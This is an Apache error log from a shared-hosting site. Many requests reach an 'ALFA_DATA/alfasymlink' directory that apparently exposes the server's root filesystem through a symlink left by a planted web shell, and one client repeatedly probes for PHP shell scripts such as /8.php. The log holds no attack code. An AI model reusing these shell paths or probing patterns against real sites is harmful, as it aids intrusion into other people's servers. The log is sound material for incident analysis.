[Sun Oct 25 09:01:50.303173 2026] [core:error] [pid 2834019:tid 2834019] (13)Permission denied: [client 52.3.26.180:32752] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/device:03/physical_node/subsystem/drivers/ata_piix/0000:00:01.1/driver/uevent
[Sun Oct 25 09:01:58.500287 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 44.193.115.232:41754] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:02:02.518148 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 185.191.171.6:15100] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:02:06.304700 2026] [ssl:error] [pid 2834008:tid 2834008] (70014)End of file found: [client 3.213.46.222:24758] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:02:10.607055 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 3.208.156.9:10502] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:02:15.795692 2026] [core:error] [pid 2834020:tid 2834020] (13)Permission denied: [client 185.191.171.6:54552] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/objects
[Sun Oct 25 09:02:18.333175 2026] [core:error] [pid 2821699:tid 2821699] (13)Permission denied: [client 34.225.24.180:55721] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:17/subsystem/devices/device:01/PNP0F13:00/physical_node/driver/uevent
[Sun Oct 25 09:02:42.431652 2026] [ssl:error] [pid 2834020:tid 2834020] (70014)End of file found: [client 98.83.178.66:17633] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:02:45.235381 2026] [security2:error] [pid 2821699:tid 2821699] [client 185.191.171.18:30544] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/ricar/php71/import.php"] [unique_id "at399ZBSQk9YSmLuOvuQjwAAAAM"]
[Sun Oct 25 09:02:45.235422 2026] [security2:error] [pid 2821699:tid 2821699] [client 185.191.171.18:30544] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/ricar/php71/import.php"] [unique_id "at399ZBSQk9YSmLuOvuQjwAAAAM"]
[Sun Oct 25 09:02:46.431280 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 52.23.112.144:18440] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:02:50.320609 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 52.204.71.8:45165] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:02:54.559414 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 98.83.177.42:26767] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:02:58.574364 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 52.71.216.196:45583] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:03:02.444150 2026] [ssl:error] [pid 2834020:tid 2834020] (70014)End of file found: [client 52.203.68.145:53109] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:03:10.633574 2026] [core:error] [pid 2834006:tid 2834006] (13)Permission denied: [client 185.191.171.10:24782] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_struct/slabs
[Sun Oct 25 09:03:14.507882 2026] [ssl:error] [pid 2834008:tid 2834008] (5)Input/output error: [client 18.207.89.138:6731] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:03:18.511748 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 100.28.44.58:21167] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:03:23.408791 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 3.220.70.171:37901] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:03:26.456750 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 184.73.167.217:14380] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:03:30.895792 2026] [ssl:error] [pid 2834020:tid 2834020] (70014)End of file found: [client 3.208.156.9:37691] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:03:39.363527 2026] [ssl:error] [pid 2834008:tid 2834008] (70014)End of file found: [client 34.193.2.57:3110] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:03:46.377718 2026] [ssl:error] [pid 2826774:tid 2826774] (5)Input/output error: [client 35.174.141.243:23622] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:04:10.352219 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 52.4.76.156:8263] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:04:14.442662 2026] [ssl:error] [pid 2834008:tid 2834008] (70014)End of file found: [client 184.73.35.182:10330] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:04:18.642647 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 3.224.104.67:14167] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:04:30.485196 2026] [ssl:error] [pid 2834020:tid 2834020] (70014)End of file found: [client 184.73.167.217:26670] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:04:34.962394 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 52.202.233.37:29342] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:04:38.469546 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 52.205.141.124:20665] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:04:42.922626 2026] [ssl:error] [pid 2834006:tid 2834006] (70014)End of file found: [client 18.207.79.144:28208] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:04:47.321353 2026] [ssl:error] [pid 2834008:tid 2834008] (70014)End of file found: [client 52.2.58.41:62801] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:04:50.319863 2026] [core:error] [pid 2826774:tid 2826774] (13)Permission denied: [client 52.70.123.241:23621] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:01/PNP0501:01/subsystem/drivers/hpet/bind
[Sun Oct 25 09:05:02.430854 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 54.166.104.83:31960] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:05:06.348550 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 184.73.239.35:61897] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:05:14.365075 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 18.208.11.93:22119] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:05:18.368512 2026] [core:error] [pid 2826774:tid 2826774] (13)Permission denied: [client 52.3.102.51:24896] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/firmware_node/device:1c/subsystem/drivers/thermal/bind
[Sun Oct 25 09:05:18.602779 2026] [core:error] [pid 2834025:tid 2834025] (13)Permission denied: [client 85.208.96.202:31844] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_rmap_item/red_zone
[Sun Oct 25 09:05:20.747242 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:21.111585 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:21.475627 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:21.839586 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:22.204633 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:22.458836 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 100.24.167.60:40450] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:05:22.937386 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:24.037946 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:24.765145 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:25.128967 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:25.492875 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:25.857490 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:26.439466 2026] [core:error] [pid 2834006:tid 2834006] (13)Permission denied: [client 52.204.81.148:37033] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:01/PNP0501:01/subsystem/devices/PNP0A03:00/device:04/physical_node/driver/uevent
[Sun Oct 25 09:05:26.618324 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:26.982091 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:27.345931 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:27.709536 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:28.073111 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:28.439863 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:28.804589 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:29.168784 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:29.532803 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:29.898091 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:30.269380 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:30.633679 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:30.997848 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:31.362517 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:31.727747 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:32.091321 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:32.455037 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:32.820498 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:33.201313 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:33.565278 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:33.929066 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:34.297815 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:34.663319 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:34.663894 2026] [security2:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "direc1.sherwinpinturas.com"] [uri "/8.php"] [unique_id "at3-nhus_mjnPB8X3pG9NwAAABI"]
[Sun Oct 25 09:05:34.663934 2026] [security2:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "direc1.sherwinpinturas.com"] [uri "/8.php"] [unique_id "at3-nhus_mjnPB8X3pG9NwAAABI"]
[Sun Oct 25 09:05:35.027570 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:35.391559 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:35.755831 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:36.119407 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:36.484091 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:36.850580 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:37.215310 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:37.579485 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:37.944175 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:38.308210 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:38.326603 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 34.235.239.240:58680] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:05:38.671715 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:39.036031 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:39.400621 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:39.765053 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:40.129051 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:40.493050 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:40.857303 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:41.225893 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:41.589662 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:41.953892 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:42.317703 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:42.327958 2026] [ssl:error] [pid 2834006:tid 2834006] (70014)End of file found: [client 52.200.251.20:12961] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:05:42.681899 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:43.046232 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:43.410375 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:43.774145 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:44.137729 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:44.502359 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:44.867391 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:45.231548 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:45.595367 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:45.959506 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:46.323917 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:46.348080 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 23.21.225.190:52509] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:05:46.688324 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:47.058569 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:47.430033 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:47.794064 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:48.160420 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:50.614626 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 3.221.156.96:6061] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:05:50.927027 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:51.295673 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:53.501175 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:53.864974 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:54.233674 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:54.456828 2026] [ssl:error] [pid 2834008:tid 2834008] (70014)End of file found: [client 52.1.106.130:48007] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:05:54.597429 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:54.972441 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:55.343281 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:55.723374 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:56.088752 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:56.452669 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:56.837110 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:57.201010 2026] [proxy_fcgi:error] [pid 2834020:tid 2834020] [client 20.194.17.163:58771] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:58.280202 2026] [proxy_fcgi:error] [pid 2826774:tid 2826774] [client 20.194.17.163:3390] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:58.667443 2026] [core:error] [pid 2834025:tid 2834025] (13)Permission denied: [client 23.21.228.180:28830] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:17/subsystem/devices/device:03/physical_node/driver/0000:00:02.0/remove
[Sun Oct 25 09:05:59.456456 2026] [proxy_fcgi:error] [pid 2826774:tid 2826774] [client 20.194.17.163:3390] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:05:59.819814 2026] [proxy_fcgi:error] [pid 2826774:tid 2826774] [client 20.194.17.163:3390] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:06:00.182591 2026] [proxy_fcgi:error] [pid 2826774:tid 2826774] [client 20.194.17.163:3390] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:06:00.545070 2026] [proxy_fcgi:error] [pid 2826774:tid 2826774] [client 20.194.17.163:3390] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:06:00.925178 2026] [proxy_fcgi:error] [pid 2826774:tid 2826774] [client 20.194.17.163:3390] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:06:01.298113 2026] [proxy_fcgi:error] [pid 2826774:tid 2826774] [client 20.194.17.163:3390] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:06:01.668567 2026] [proxy_fcgi:error] [pid 2826774:tid 2826774] [client 20.194.17.163:3390] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:06:02.072197 2026] [proxy_fcgi:error] [pid 2826774:tid 2826774] [client 20.194.17.163:3390] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:06:02.435349 2026] [proxy_fcgi:error] [pid 2826774:tid 2826774] [client 20.194.17.163:3390] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:06:02.492989 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 3.231.193.38:45240] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:06:03.185038 2026] [proxy_fcgi:error] [pid 2826774:tid 2826774] [client 20.194.17.163:3390] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:06:03.909710 2026] [proxy_fcgi:error] [pid 2826774:tid 2826774] [client 20.194.17.163:3390] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:06:04.283751 2026] [proxy_fcgi:error] [pid 2826774:tid 2826774] [client 20.194.17.163:3390] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:06:04.696185 2026] [proxy_fcgi:error] [pid 2826774:tid 2826774] [client 20.194.17.163:3390] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:06:05.463463 2026] [proxy_fcgi:error] [pid 2826774:tid 2826774] [client 20.194.17.163:3390] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:06:05.839414 2026] [proxy_fcgi:error] [pid 2826774:tid 2826774] [client 20.194.17.163:3390] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:06:06.206134 2026] [proxy_fcgi:error] [pid 2826774:tid 2826774] [client 20.194.17.163:3390] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:06:06.480656 2026] [ssl:error] [pid 2834006:tid 2834006] (70014)End of file found: [client 54.84.147.79:10333] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:06:06.588131 2026] [proxy_fcgi:error] [pid 2826774:tid 2826774] [client 20.194.17.163:3390] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 09:06:10.458680 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 52.54.15.103:42512] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:06:14.622871 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 3.222.85.38:22761] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:06:18.469867 2026] [ssl:error] [pid 2834008:tid 2834008] (70014)End of file found: [client 44.210.204.255:5794] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:06:22.305529 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 54.80.185.200:37032] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:06:26.343896 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 54.85.126.86:35397] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:06:30.592938 2026] [ssl:error] [pid 2806348:tid 2806348] (22)Invalid argument: [client 54.157.84.74:34039] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:06:35.040870 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 52.207.47.227:44265] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:06:38.497338 2026] [ssl:error] [pid 2815602:tid 2815602] (5)Input/output error: [client 18.215.77.19:31556] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:06:39.138591 2026] [core:error] [pid 2834008:tid 2834008] (13)Permission denied: [client 185.191.171.9:11172] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/signal_cache/reclaim_account
[Sun Oct 25 09:06:42.349601 2026] [core:error] [pid 2834019:tid 2834019] (13)Permission denied: [client 3.223.181.32:24403] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/event3/subsystem/input5/device/subsystem/devices/pcspkr/driver/bind
[Sun Oct 25 09:06:50.342202 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 3.229.164.203:7435] AH02013: coalesce failed to read from data bucket
